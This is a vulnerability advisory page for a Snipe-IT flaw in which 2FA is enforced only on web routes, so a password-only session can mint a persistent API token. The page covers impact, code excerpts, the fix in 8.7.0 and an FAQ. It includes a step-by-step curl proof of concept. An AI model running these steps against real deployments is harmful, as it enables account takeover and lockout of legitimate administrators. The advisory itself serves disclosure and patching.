CVE-2026-63493: Snipe-IT: 2FA bypass via the API token flow

Published Sep 24, 2026
·
Updated

Impact

An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).

The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/twofactorreset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.

Summary:

2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.

Details:

CheckForTwoFactor is in the web group but not the api group:

// app/Http/Kernel.php 'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ], 'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ], // no CheckForTwoFactor

Two consequences:

1. /two-factor is exempt from the check, and CreateFreshApiToken runs right after it in the web group:

// app/Http/Middleware/CheckForTwoFactor.php public const IGNOREROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];

So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeitpassporttoken cookie.

2. The token endpoint is in the api group, which never checks 2FA, gated only by self.api:

// routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check

Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.

Proof of concept:

Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.

HOST=https://snipeit.example.com/ USER=victim PASS='victim-password'

# 1. log in with the password only. Every web page now redirects to # /two-factor until a code is entered. never enter one. csrf=$(curl -s -c cookies.txt "$HOST/login" \ | grep -oP 'name="token" value="\K[^"]+') curl -s -b cookies.txt -c cookies.txt "$HOST/login" \ --data-urlencode "token=$csrf" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" -o /dev/null

# 2. GET /two-factor with no code. It is exempt from the 2FA check, so # CreateFreshApiToken issues the snipeitpassporttoken cookie. curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null grep -q snipeitpassporttoken cookies.txt && echo "[2] Passport cookie issued, no code"

# 3. mint a persistent token over the api group (no 2FA check). Passport's # cookie guard wants the session's own XSRF token echoed as a header, # which our session already holds. xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1) xsrf=$(printf '%b' "${xsrf//%/\\x}") pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \ -X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \ --data-urlencode "name=poc" | jq -r '.payload.token') echo "[3] token: $pat"

# 4. use the Bearer token against a real endpoint. /users/me returns the # victim's own account, proving the token acts as the victim with 2FA # never completed. (If the victim is an admin, the same token reaches the # whole API, e.g. GET /api/v1/users returns the full user directory.) curl -s "$HOST/api/v1/users/me" \ -H "Authorization: Bearer $pat" -H "Accept: application/json"

Step 3 returns a token with no code ever submitted, and step 4 returns the victim's own account ({"id":1,"username":"victim","email":...}). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the api group simply never enforces it.

Patches

Fixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, EnforceApiTwoFactorEnrollment, registered on the api middleware group after auth:api. The new middleware answers the question "does this token's owner have a second factor enrolled at all?", which is orthogonal to the session-scoped 2faauthed flag that CheckForTwoFactor relies on. Behavior:

- Passes through when there's no authenticated user (leaves the standard auth:api 401 in place). - Passes through when twofactorenabled is disabled in settings. - Under optional mode (twofactorenabled = '1'), only enforces on users who explicitly set twofactoroptin = '1', matching the web-side behavior and preserving legacy PATs for users who never opted in. - Under required mode (twofactorenabled = '2'), enforces regardless of optin. - Blocks with 403 + Helper::formatStandardApiResponse('error', null, trans('auth/message.twofactor.pleaseenroll')) when the token owner's twofactorenrolled != '1'.

Regression coverage lives in tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php.

Credit

Reported first by colinthebomb1 and Theebanbabu, followup confirmation report by SRT at submersion SRT@submersion.ai.

Other sources

Snipe-IT is an IT asset/license management system. Prior to 8.7.0, a password-authenticated session for an account with self.api permission can reach the personal-access-token API flow before completing the account's second-factor challenge because CheckForTwoFactor is enforced in the web middleware group but not the API middleware group. The advisory states that the resulting persistent API token can read and modify resources with the victim's permissions and, for an administrator, can reach the users/twofactorreset endpoint. Resetting the administrator's enrolled second factor allows the password-holding attacker to enroll an attacker-controlled factor, take over the administrator's web account, and lock out the legitimate user. The token does not create a web session, but it provides broad API access while the same browser session remains blocked at the two-factor page. This vulnerability is fixed in 8.7.0.

— MITRE

Affected Software

2 affected componentsFixes available
Snipe-IT Snipe-IT<8.7.0
composer/snipe/snipe-it<8.7.0
8.7.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/snipe/snipe-it to a version that resolves this vulnerability.

    Fixed in 8.7.0
  2. Upgrade

    Upgrade Snipe-IT to a version that resolves this vulnerability.

    Fixed in 8.7.0Patch 87c362962a

Event History

Sep 24, 2026
CVE Published
via MITRE·04:37 PM
Data Sourced
via MITRE·04:37 PM
DescriptionWeakness
Advisory Published
via GitHub·04:38 PM
Data Sourced
via GitHub·04:38 PM
DescriptionWeaknessAffected Software
Data Sourced
via NVD·05:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Which accounts are exposed to this bypass?

Accounts that have the self.api permission are exposed if an attacker has the account password. The impact follows the victim account's API permissions; administrator accounts are especially severe because their API access can reach the two_factor_reset endpoint.

2

Does an attacker need to defeat the enrolled second factor first?

No. A password-authenticated browser session can access the personal-access-token API flow before completing the second-factor challenge, allowing creation of a persistent API token.

3

Can this lead to full administrator web-account takeover?

Yes, for an administrator account. The attacker can use the API token to reset the administrator's enrolled second factor, then use the known password to enroll an attacker-controlled factor and lock out the legitimate user.

4

Is API access blocked while the browser session is waiting at the two-factor page?

No. The browser session remains blocked from web access at the two-factor page, but the persistent token created through the API flow can still read and modify resources permitted to the victim account.

5

What version fixes the issue?

The vulnerability is fixed in Snipe-IT 8.7.0. Versions before 8.7.0 are affected under the described conditions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203